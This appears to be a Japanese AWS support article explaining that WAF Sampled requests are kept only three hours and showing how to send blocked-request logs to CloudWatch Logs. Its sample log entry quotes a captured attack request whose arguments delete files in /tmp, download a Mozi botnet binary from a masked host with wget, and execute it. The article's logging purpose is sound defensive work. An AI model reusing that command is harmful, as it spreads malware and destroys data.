AWS WAF にて Web ACLs の overview 画面から Sampled requests を用いてログを確認しています。過去のログはどのような方法で参照できますか?
困っていた内容
AWS WAF サービスを利用しています。
Web ACLs の overview 画面で、Sampled requests を用いて、ブロックされた IP アドレスを確認しています。
過去のログを確認したいのですが、さかのぼることができません。どのようにすればいいですか?
どう対応すればいいの?
AWS WAF における、Web ACLs の overview 画面で表示できる Sampled requests はあくまでサンプルです。保持期間は最大過去 3 時間までとなります。過去のログを参照するためには、明示的にログへの保存を有効にする必要があります。
ログの有効化
今回は CloudWatch Logs へログを出力する方法を紹介します。
Logging and metrics タブを開き、Logging にて Enabled ボタンを押下します。
Logging destination にて、CloudWatch Logs log group を選択します。選択するロググループは「aws-waf-logs-」で始まるという命名規則があるため、別途作成をしておきます。
Filter logs にて、以下の画像のように設定します。これにより、結果が Block となったログのみ保存されます。
テストとして、AWS-AWSManagedRulesBotControlRuleSet に一致した場合に Block とするように Web ACLs のルールを設定してみました。
CloudWatch Logs に以下のログが生成され、bot からのアクセスが Block されていることを確認できました。(一部加工・マスクしています)
{ "timestamp": 1643933274579, "formatVersion": 1, "webaclId": "arn:aws:wafv2:ap-northeast-1:<AccountID>:regional/webacl/test-acl/■", "terminatingRuleId": "AWS-AWSManagedRulesBotControlRuleSet", "terminatingRuleType": "MANAGED_RULE_GROUP", "action": "BLOCK", "terminatingRuleMatchDetails": [], "httpSourceName": "ALB", "httpSourceId": "<AccountID>-app/Test/■", "ruleGroupList": [ { "ruleGroupId": "AWS#AWSManagedRulesBotControlRuleSet", "terminatingRule": { "ruleId": "SignalNonBrowserUserAgent", "action": "BLOCK", "ruleMatchDetails": null }, "nonTerminatingMatchingRules": [], "excludedRules": null } ], "rateBasedRuleList": [], "nonTerminatingMatchingRules": [], "requestHeadersInserted": null, "responseCodeSent": null, "httpRequest": { "clientIp": "■", "country": "■", "headers": [ { "name": "■", "value": "■" }, { "name": "■", "value": "■" }, { "name": "■", "value": "■" }, { "name": "■", "value": "■" } ], "uri": "/shell", "args": "cd+/tmp;rm+-rf+*;wget+http://■:■/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws", "httpVersion": "HTTP/1.1", "httpMethod": "GET", "requestId": "■" }, "labels": [ { "name": "awswaf:managed:aws:bot-control:signal:non_browser_user_agent" } ] }
参考資料
ウェブ ACL のテスト - AWS WAF、AWS Firewall Manager、および AWS Shield Advanced
5.リアルタイムメトリクスと Sampled Web Requests はどれほどの期間保存されますか? リアルタイムメトリクスは Amazon CloudWatch に保存されます。Amazon CloudWatch ではイベントを失効させる期間をお客様が設定できます。Sampled Web Requests は最大 3 時間保存されます。